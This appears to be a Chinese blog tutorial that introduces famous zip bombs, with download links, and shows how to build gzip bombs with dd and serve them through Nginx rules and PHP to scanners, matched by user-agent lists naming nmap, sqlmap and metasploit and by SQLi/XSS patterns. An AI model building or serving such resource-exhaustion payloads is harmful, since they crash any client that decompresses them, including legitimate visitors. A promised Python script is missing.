刚开通公网IP的服务器或者说刚开通的云服务器,就像新搬进小区的住户,还没来得及装饰(网页什么都没放,我设置返回444),立马就发现有人不停地在门口转悠,使用各种扫描工具24小时不间断地探测服务器。更烦人的是,那些脚本小子们,孜孜不倦地尝试访问各种可能存在漏洞的路径,妄想找到突破口黑进来。还有可能网站被海量爬虫压到宕机,这不是我们不想看到的场景。
![图片[1]-zip炸弹简介(附件),以及用Gzip炸弹对抗爬虫恶意扫描与入侵尝试-王先生笔记](https://wxsnote.cn/wp-content/uploads/2025/09/20250928111920377-image.png)
面对这种不识趣的行为,是时候给他们一点小小的惊喜了。
ZIP炸弹:数字世界的“潘多拉魔盒”
还有,这类压缩包极其危险,不要轻易尝试打开,因为浏览器下载后可能会自动解压,导致硬盘被瞬间填满。
zip炸弹其实是算法惹的祸,无损压缩的有趣点就是重复
4.5PB压缩包(42kb),你可能听说过传说中的ZIP炸弹——那个著名的42KB压缩包,解压后竟然变成4.5PB的庞然大物。原理很简单:利用无损压缩算法的特性,通过多层递归嵌套,让解压过程像滚雪球一样不断膨胀。具体来说,42.zip文件初始只有42KB,解压密码为42,但解压后会得到16个压缩包,每个包又包含16个更小的包,如此反复5次,最终产生1048576个4.3GB的文件,总体积达到惊人的4.5PB。貌似是制作者的下载介绍平台:https://unforgettable.dk/
无限大小压缩包(28kb)还有droste.zip,这个文件名灵感应该取自德罗斯特效应 ( Droste Effect ),是指一张图片的部分与整张图片相同,无限循环。就好比两部手机,手机A开启屏幕镜像和相机,手机B接收手机A的屏幕镜像,手机A拍摄手机B的屏幕,就发现手机B无限循环展示。droste.zip本体只有28kb,但可以无限递归解压快速膨胀,解压本体,直到塞满你的硬盘,也是非常强大了,算法大概就是在引号里重复这句话 “ 在引号里重复这句话 ”。貌似是制作者的下载介绍平台:https://alf.nu/ZipQuine
1000YB压缩包(122kb)前段时间,有人在网上宣称自己制作了世界上最大的ZIP炸弹,容量达到1148857344 Quettabytes(1 Quettabyte = 1,000,000,000,000,000,000,000,000,000,000 bytes,后面有30个零)。也就是最大单位YB,1000尧字节(yottabyte)下载:https://twsh.lanzouu.com/iaSw9376uwih
![图片[2]-zip炸弹简介(附件),以及用Gzip炸弹对抗爬虫恶意扫描与入侵尝试-王先生笔记](https://wxsnote.cn/wp-content/uploads/2025/09/20250928123430450-image.png)
2048YB压缩包(266kb)有人制作了2048YB压缩包,这是我目前见过的最大压缩包,这个数字之大连理解起来都困难。这是我复刻的地址:https://github.com/twsh0305/ZIPBOMB
| 名称 | 与前一个单位换算 | 容量比喻(基于日常数据场景) |
| 比特 bit (b) | 1字节(B)= 8比特(b) | 1 个比特 = 1 个 “二进制开关”,仅能表示 “0” 或 “1”—— 相当于1 个英文字母的 1/8(1 个字母需 8 比特存储)。 |
| 字节 B | (基础单位,1024倍为下一级) | 1 个字节 = 8 个比特,刚好能存储1 个英文字母(如 “A”“b”),或 1 个数字(如 “5”)。 |
| 千字节 KB | 1 KB = 1024 B | 1 KB ≈ 1024 字节,约等于1 段 500 字的纯文本段落(中文每字约 2 字节,500 字≈1000 字节),或 1 张极小的黑白像素图。 |
| 兆字节 MB | 1 MB = 1024 KB | 1 MB ≈ 1024 KB,相当于: - 1 首普通质量的 MP3 音乐(约 3-5 MB,1 MB≈1/4 首短歌); - 2-3 张手机拍摄的普通 jpg 照片(单张约 300-500 KB); - 1 本 50 万字的纯文本电子书(约 1 MB,文字压缩后更小)。 |
| 吉字节 GB | 1 GB = 1024 MB | 1 GB ≈ 1024 MB,相当于: - 1 部高清电影(1080P 画质,约 1.5-5 GB,1 GB≈1/3 部短电影); - 200-300 首高品质 MP3 音乐(单首约 3-5 MB); - 1 台手机的基础 “可用空间”(早期手机多为 16/32 GB,1 GB≈1 个 APP + 缓存的占用); - 1000 张以上手机高清照片(按单张 1 MB 算)。 |
| 太字节 TB | 1 TB = 1024 GB | 1 TB ≈ 1024 GB,相当于: - 200-300 部 1080P 高清电影(按单部 4 GB 算),够连续播放 100 小时以上; - 1 个家庭的 “全家数据库”:包含 10 年的照片(约 5 万张)、所有视频(孩子成长记录、旅行视频)、音乐库(数千首歌)和各类文档,通常 1-2 TB 可装下; - 1 块主流电脑硬盘的容量(目前笔记本 / 台式机硬盘多为 1-4 TB)。 |
| 拍字节 PB | 1 PB = 1024 TB | 1 PB ≈ 1024 TB,相当于: - 1 个中小型视频平台的 “月度存储量”(如某地方短视频 APP,每天新增 10 万条 100 MB 的短视频,1 个月≈300 TB,1 PB 可存 3 个月以上); - 1 座省级图书馆的 “全数字化馆藏”:包含所有纸质书扫描件(百万册级)、古籍影像、学术论文等,1 PB 基本能覆盖核心馆藏。 |
| 艾字节 EB | 1 EB = 1024 PB | 1 EB ≈ 1024 PB,相当于: - 1 个大型云计算公司的 “单区域数据中心存储量”(如阿里云 / AWS 某区域,服务数百万企业用户的数据库、备份文件、云存储数据,1 EB 可支撑该区域核心业务); - 全球 1 年的 “社交媒体照片总上传量”(估算:全球每天约上传 10 亿张照片,单张按 2 MB 算,1 年≈7.3 PB,1 EB≈137 年的总上传量)。 |
| 泽字节 ZB | 1 ZB = 1024 EB | 1 ZB ≈ 1024 EB,相当于: - 全球 “互联网核心数据总量”(2024 年全球互联网数据量约 100-200 ZB,1 ZB≈全球 1-2% 的互联网总数据); - 1 个国家级 “全民健康数据库”:存储 14 亿人的电子病历、体检报告、基因数据(每人数据约 100 GB,14 亿人≈14 ZB,1 ZB≈7% 的全国数据)。 |
| 尧字节 YB | 1 YB = 1024 ZB | 1 YB ≈ 1024 ZB,相当于: - 全球 “未来 10 年的互联网数据增量”(按当前数据增长速度,每年约增 20-30 ZB,1 YB≈30-50 年的增量); - 人类 “全历史数字化数据总和”:包含所有已归档的文献、影像、科研数据、互联网存档(如 Wayback Machine),目前总量远不足 1 YB,1 YB 是未来数十年才可能达到的 “全球级超大规模存储”。 |
虽然各大安全软件已经会识别zip炸弹,但仍然不可轻视,因为zip的各种属性可以被篡改,安全软件可能识别不到的。曾经,有人利用zip炸弹,让安全软件清理zip炸弹结果过程中,去入侵系统等操作,所以当初的危害还是比较大的。
实战:制作温和版Gzip炸弹
虽然上述的ZIP炸弹威力巨大,但我们并不需要那么极端。一个1GB的Gzip炸弹足以让恶意扫描者的内存跑到2GB,多次访问至少会导致对方杀后台、宕机或卡顿,用于对抗恶意扫描,恶意爬虫防护足够了。
生成Gzip炸弹
Pythen版更好用,可自定义大小
创建一个放置炸弹的目录
mkdir -p /www/wwwroot/default.com/gzip_bomb/
Linux下用,命令一键生成,生成1GB Gzip压缩包,压缩后是1MB
dd if=/dev/zero bs=1M count=1024 | gzip > /www/wwwroot/default.com/gzip_bomb/bomb.gz
这个命令会创建一个1GB的文件并压缩为gzip格式。dd命令的基本语法:
dd:用于拷贝或转换数据if=<文件>:指定输入文件,这里的/dev/zero,是一个会不断生成零字节数据的特殊设备bs=<字节数>:指定块大小,设置块大小为1MB,意味着每次处理1MB数据count=<块数>:指定要复制的块数,处理1024个这样的块,总共生成1GB的零数据
以上为1GB压缩包示例,下方是10GB示例,压缩后是10MB
dd if=/dev/zero bs=1M count=10240 | gzip > /www/wwwroot/default.com/gzip_bomb/bomb.gz
用装有pythen的设备执行以下脚本即可,win11可用,Linux和Mac未测,请大家自测,若无法使用,请评论区反馈
Nginx使用Gzip炸弹
实现默认站点任何访问都返回炸弹,以宝塔为例子
创建网站default.com
![图片[3]-zip炸弹简介(附件),以及用Gzip炸弹对抗爬虫恶意扫描与入侵尝试-王先生笔记](https://wxsnote.cn/wp-content/uploads/2025/09/20250928133107268-image.png)
设置为默认网站
![图片[4]-zip炸弹简介(附件),以及用Gzip炸弹对抗爬虫恶意扫描与入侵尝试-王先生笔记](https://wxsnote.cn/wp-content/uploads/2025/09/20250928133208646-image.png)
修改默认网站Nginx配置
# 将所有访问重定向到/index.html
# location / {
# 使用301重定向到/index.html,让用户看到URL变化
# return 301 /index.html;
# }
# 上下两者是或的关系,只能开一个,取消注释则开启,解释部分不要取消注释
# 使用rewrite(保持URL不变)
location / {
rewrite ^(.*)$ /index.html last;
}
# 处理/index.html请求,返回gzip炸弹
location = /index.html {
# 设置正确的MIME类型
default_type text/html;
# 关键:声明这是gzip压缩内容
add_header Content-Encoding gzip;
# 防止MIME类型嗅探
add_header X-Content-Type-Options nosniff;
# 禁用缓存
add_header Cache-Control "no-cache, no-store, must-revalidate";
add_header Pragma "no-cache";
add_header Expires "0";
# 返回gzip压缩的炸弹文件,把炸弹放在指定位置
alias /www/wwwroot/default.com/index.html.gz;
# 可选:添加更多伪装头
add_header Content-Type "text/html; charset=utf-8";
}
![图片[5]-zip炸弹简介(附件),以及用Gzip炸弹对抗爬虫恶意扫描与入侵尝试-王先生笔记](https://wxsnote.cn/wp-content/uploads/2025/09/20250928144345130-image.png)
其它网站可以增加nginx判断条件(不要直接用,只是示例,用于正在使用的网站,而不是上面那种啥请求都返回炸弹的)
# 针对常见恶意扫描路径返回zip炸弹
location ~* ^/(目录名|目录名|目录名|目录名|backup|config|database) {
# 设置正确的MIME类型
default_type text/html;
add_header Content-Encoding gzip;
# 禁用缓存
add_header Cache-Control "no-cache, no-store, must-revalidate";
add_header Pragma "no-cache";
add_header Expires "0";
# 返回zip炸弹文件
alias /www/wwwroot/default.com/index.html.gz;
}
# 针对恶意文件类型请求
location ~* \.(php|asp|aspx|jsp|sh|pl|py|exe|dll)$ {
# 设置正确的MIME类型
default_type MIME类型; #默认网页声明,记得改,伪装就行
add_header Content-Encoding gzip; #记得改,伪装就行
# 禁用缓存
add_header Cache-Control "no-cache, no-store, must-revalidate";
add_header Pragma "no-cache";
add_header Expires "0";
# 返回zip炸弹文件
alias /www/wwwroot/default.com/index.html.gz;
}
# 针对恶意文件类型请求
location ~* \.(php|asp|aspx|jsp|sh|pl|py|exe|dll)$ {
# 检查是否在正常目录外请求这些文件,以下是排除,如上面是执行脚本,下面目录就填静态文件目录,如防止PHP脚本被意外上传到媒体目录,被访问执行操作
if ($uri !~ "^/(目录|目录)/") {
default_type text/html;
add_header Content-Encoding gzip;
add_header Cache-Control "no-cache, no-store, must-revalidate";
add_header Pragma "no-cache";
add_header Expires "0";
alias /www/wwwroot/default.com/index.html.gz;
}
}
# 针对SQL注入和XSS攻击特征
location ~* "(union.*select|sleep\(|benchmark|exec\(|eval\(|base64_decode|script\s*=|onload\s*=)" {
default_type text/html;
add_header Content-Encoding gzip;
add_header Cache-Control "no-cache, no-store, must-revalidate";
add_header Pragma "no-cache";
add_header Expires "0";
alias /www/wwwroot/default.com/index.html.gz;
}
# 针对扫描工具User-Agent(UA)
if ($http_user_agent ~* "(nmap|sqlmap|w3af|nikto|acunetix|nessus|metasploit)") {
default_type text/html;
add_header Content-Encoding gzip;
add_header Cache-Control "no-cache, no-store, must-revalidate";
add_header Pragma "no-cache";
add_header Expires "0";
alias /www/wwwroot/default.com/index.html.gz;
}
# 正常网站请求继续处理,伪静态等,在其他位置设置过就无需再设置
# location / {
# 如wordpress:try_files $uri $uri/ /index.php?$args;
# }
# 正常PHP处理 将PHP文件交给PHP-FPM处理
# location ~ \.php$ {
# include fastcgi_params;
# fastcgi_pass php-fpm;
# fastcgi_index index.php;
# fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
# }
PHP使用Gzip炸弹
如果使用PHP,可以这样返回Gzip炸弹,你可以参考这个,并且增加某些条件,注意炸弹位置路径,并且可以与nginx互相配合,让PHP告知nginx返回什么,URL也不变,玩法多变,自己思考。
<?php
//声明格式
header('Content-Encoding: gzip');
//返回网站目录中的炸弹
echo file_get_contents('index.html.gz');
?>
其他语言基本都是这个逻辑
效果展示
实际上,5GB的炸弹让浏览器内存占用瞬间飙升到5000MB了,只是我没截到
![图片[6]-zip炸弹简介(附件),以及用Gzip炸弹对抗爬虫恶意扫描与入侵尝试-王先生笔记](https://wxsnote.cn/wp-content/uploads/2025/09/20250930124541866-image.png)
结语
部分爬虫已经实现识别压缩炸弹,并不会去解压导致他的服务器宕机,所以Gzip炸弹并不是100%成功。
只是歪门邪道罢了,一点儿惩罚对手的小手段,求求你别扫了,我送你个礼物好不好。
2025-09-30 20:38:39,某些文章具有时效性,若有错误或已失效,请在下方留言或加入QQ群:
399019539 联系群主反馈。注意一些链接无法访问可能是你网络的原因,如Github,并非资源地址失效。
登录后可快速点此处反馈,点击登录













请登录后查看评论内容